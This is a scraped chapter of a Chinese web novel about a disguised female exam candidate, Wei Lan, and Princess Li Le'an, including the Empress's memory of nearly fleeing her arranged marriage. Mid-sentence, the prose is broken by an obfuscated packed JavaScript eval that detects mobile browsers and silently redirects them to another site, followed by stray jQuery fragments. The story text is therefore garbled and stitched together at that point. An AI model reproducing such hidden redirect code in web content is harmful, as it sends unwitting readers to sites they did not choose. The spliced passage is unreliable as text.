默认冷灰
24号文字
方正启体

16. 皇后

作者:尺璧非宝本书字数:K更新时间:
    九日的春闱结束了,贡院朱漆大门缓缓开启。


    相较于多数被搀扶着出来,甚至瘫在担架上被抬着出来的考生。卫兰从考场出来时,虽然步履缓慢,脊背却挺的笔直。


    “三弟!”卫茂凭借魁梧身躯挤开人群,一把扶住卫兰的手臂。


    “我没事。”卫兰轻声道,眼下青黑在苍白的面容上格外明显,但双眸仍清亮如星。


    这时甲十从人群中无声地靠近,抱拳一礼:“卫公子,公主备了马车,请随我来。”


    卫茂惊得瞪圆了眼睛,卫兰却只是微微颔首,“有劳。”


    甲十带着两人来到一辆外表朴实无华的马车旁,掀开车帘,内里别有洞天,沉香木小几上摆着鎏金暖炉,锦缎软垫绣着暗纹。


    一位灰袍中年男子此时正端坐其中,见他们进来,拱手道:“在下于慎,乃公主府府医,卫举人请伸手,在下为你把脉。”


    卫兰伸出左手,于府医三指搭脉,沉吟片刻说道,“公子元气有亏,需调养三日。”说着从药箱取出青瓷小瓶,“这是安神丸,温水送服。”


    “多谢于府医。”卫兰接过药瓶,拱手感谢。


    回到真如寺后,卫兰整整睡了一日。翌日天光微亮,她便推开斑驳的木门。晨雾中,她对着空寂的院落轻唤:“护卫大人。”


    当初为了方便,她专门找了这间偏僻的禅房,据说以前是惩罚僧人关闭的屋子,不过倒是正如卫兰的意。


    树梢微动,甲十如落叶般悄无声息地落在她面前三步处。


    “我想拜见长公主。”卫兰的声音还带着晨起的微哑,“不知可否代为通传?”


    甲十抱拳:“容在下禀报。”


    卫兰立在原地,看着甲十的身影消失在晨雾中。初升的朝阳将她的影子拉得很长,斜斜地映在青石板上。


    兴庆宫的鎏金熏炉青烟袅袅,李乐安斜倚在湘妃榻上,指尖有一下没一下地拨弄着案几上的白玉棋子。这已是她连续第三日来皇后宫中“小坐”,此刻殿角的铜漏显示已近申时。


    皇后放下手中的书,鎏金护甲在书页上划过一道流光,她唇角含着三分笑意,“你近日是把本宫这兴庆宫当自己府邸了?”


    李乐安闻言直起身子,云鬓上的金步摇随之轻晃。她忽然指向殿外回廊下挂着的一柄缠金马鞭:“母后,那鞭子...是您年轻时用的?”


    皇后的笑意凝在嘴角。那马鞭的皮革已经泛黄,但金丝缠绕的鞭柄依旧熠熠生辉。她下意识看了眼自己养尊处优的柔软双手。


    “怎么突然想起问这个?”皇后的声音忽然轻了几分,像是怕惊醒了什么沉睡的往事。


    李乐安走到回廊下,指尖轻触马鞭。“前日去承恩侯府,路过您待字时的闺阁......”她转身时,裙裾在青砖上旋开一朵墨色莲花,“望舒说,您当年一杆马槊能挑落三名羽林卫。”


    皇后忽然轻笑出声,眼角的细纹舒展开来。她起身时,翟衣上的金凤在光影间振翅欲飞。“那丫头还说了什么?”语气里带着久违的鲜活,仿佛又变回了那个在猎场上纵马飞驰的将门之女。


    她的指尖无意识地摩挲着马鞭的金丝缠柄,那些尘封的记忆突然鲜活起来。她仿佛又闻到塞外风沙的气息,听到战马嘶鸣的声音。


    “那年秋狝......”皇后的声音飘忽如烟,“本宫带着十二骑深入阴山,追猎一头白鹿三天三夜。”鎏金护甲在鞭柄上刮出细微的声响,“先帝说,若是个男儿,定能封狼居胥。”


    她的目光穿过雕花窗棂,落在宫墙外的一线青天上。那里曾有她亲手射落的苍鹰,如今却只剩四方宫阙的飞檐。


    殿内忽然安静得可怕。铜漏滴水声格外清晰,一滴,两滴,像是落在往事的潭水中。


    “其实......”皇后突然轻笑,指尖抚过腰间玉带,“其实......在先帝赐婚圣旨下达那日,本宫差些就逃了。”她眼角泛起细纹,恍如回到少女时光,“我那傻表妹,连塞外的路线图都给我画好了。”


    李乐安瞳孔微缩。皇后一直以来端坐凤座,像一尊观音菩萨,几乎从未见她失态过。竟也有过有过这般惊世骇俗的念头?


    “我都走到永定门了,”皇后望着殿外飘落的桃花,“突然发现这一路太过顺畅。将军府的侍卫、城门守将,个个都不似往常那般精明厉害......”


    “回府时,我看见爹娘跪在祠堂......他们说,求列祖列宗把罪过都降在他们身上。”


    皇后转过头,看了一眼这一室奢华的宫殿,“这个笼子,是我自己心甘情愿走进来的。”


    李乐安望着皇后眼角的细纹,忽然觉得喘不过气。原来凤座之下,锁着这样一只渴望翱翔的鹰。


    “这件事,”李乐安声音忐忑,“父皇他……”


    “他知道。”皇后笑道,“不用担心,我们之间有约定。”


    皇后凝视着李乐安,“乐安,你比我幸运。”她轻轻握住李乐安微凉的手,“我不知你近日为何心事重重,但你要记住。”


    她指尖轻点李乐安的心口:“身为公主,你拥有比常人更多的选择。不要让尚未到来的风雨,遮蔽了眼前的光明。”


    “可是……”李乐安的声音轻得几乎听不见,“那是一定会面临的风雨。”


    “你怎么知道你闯不过去呢?”


    李乐安突然抬头,满头珠翠叮当作响,她突然觉得这些金玉珠宝重若千钧,压得她直不起腰来。


    突然,李乐安双手扯下金凤步摇,任其砸在地上迸出火星。一支支发钗被胡乱拽下,青丝如瀑倾泻而下。最后连九翟冠也被掷在地上,珍珠滚落一地。


    “公主!”芳苑大惊失色,连忙上前,“您怎么了,是哪里不适吗?”


    李乐安顶着一头乱发,看着散落一地的名贵头饰,忽然笑出声来,“我现在舒适多了!”


    “多谢母后,儿臣告退!”说完,提起裙摆就往外跑。


    “公主!”芳苑连忙带着宫女向皇后行礼告退,跟在李乐安身后跑出去。


    皇后也忍不住笑出声,茜云姑姑上前一步,担忧道,“姑娘……”


    “无事。”良久,她轻声呢喃,“她真的...比我幸运啊。”


    晋元长公主府。


    李乐安立在窗前,发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221985|181556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间只簪一支白玉簪,素净得不像个公主。她望着庭院里新开的桃花,指尖无意识地摩挲着窗棂上的雕花。


    “公主,卫公子到了。”芳苑轻声禀报。


    “让她进来。”


    卫兰踏入内室时,阳光透过纱窗在她身上洒下斑驳的光影。她今日换了蓝色儒衫,衬得面色愈发清透,唯有眼下淡淡的青黑泄露了连日的疲惫。


    “学生见过公主。”卫兰行礼时背脊挺得笔直,像一杆新竹。


    李乐安转身,目光如秋水般扫过她的面庞:“看来你考得不错?”


    “尚可。”卫兰的指尖在袖中微微蜷缩,“只是......”她突然抬眸,眼中燃着两簇幽火,“学生斗胆一问,若他日金榜题名,公主如何看待学生入朝为官?”


    窗外的桃花被风吹落几瓣,轻轻拍打在窗纸上。


    李乐安忽然笑了,随手摘下案几上一朵将谢的桃花:“卫举人赴考,难道不是为了报血海深仇?”她指尖一松,残花坠地,“即便律法没有明令禁止,可若是你身份败露……”


    卫兰突然上前一步,袖角带起一阵墨香,“学生确为报仇而来。”她声音忽然低下去,像冰层下涌动的暗流,“可更想问问这天地,为何女子只能困守闺阁?”


    一阵风突然穿堂而过,吹得案上文书哗啦作响。


    "你想清楚了?"李乐安突然逼近她,“朝堂之上虎狼环伺,稍有不慎,那些老狐狸会把你连皮带骨吞下去。”


    卫兰不退反进,眼中映着李乐安鬓边摇曳的玉簪:“那公主呢?愿终生困在这金玉牢笼,做个折枝赏花人?”


    两人呼吸交错,一室寂静中只闻更漏滴答。


    “你利用冯晟激我。”李乐安笃定说道。


    “那我成功了吗?”


    “好!好!好!”李乐安突然抚掌大笑,笑声惊飞檐下栖鸟。


    她转身从紫檀匣中取出一卷密函,“那我们就从......永县银矿开始。”


    卫兰唇角微扬,笑意渐深,“固所愿也,不敢请耳。”


    怀远立在廊柱的阴影处,指节无意识地叩击着腰间玉带。他望着珠帘内隐约可见的两道身影,眉头拧成一道深壑。


    “这个卫兰......”他压低的声音里裹着锋利的寒意,“究竟是何方神圣?”


    芳苑指尖一颤,绣着缠枝纹的帕子被绞出几道褶皱。她望着帘内公主罕见的笑靥,心底某个模糊的念头如游鱼般滑过,却不敢伸手去捉。


    “公主难得开怀。”她最终轻声应道,目光落在自己鞋尖的珍珠上。


    怀远猛地转身,“你可见过公主为谁三番两次失态?”他眼底暗潮汹涌,“那日扯落发冠,今朝又......”


    一阵风过,珠帘突然哗啦作响。芳苑看见帘内公主俯身时,那支素玉簪从卫兰发间掠过,在阳光下划出一道莹润的弧光。


    “我们该信的是公主。”芳苑突然抬头,声音轻却坚定,“而非你我的揣测。”


    怀远的手悬在半空,下颌紧绷。远处传来宫婢的脚步声,他最终只是深深吐出一口气,将满腹疑虑随着暮鼓声咽了回去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)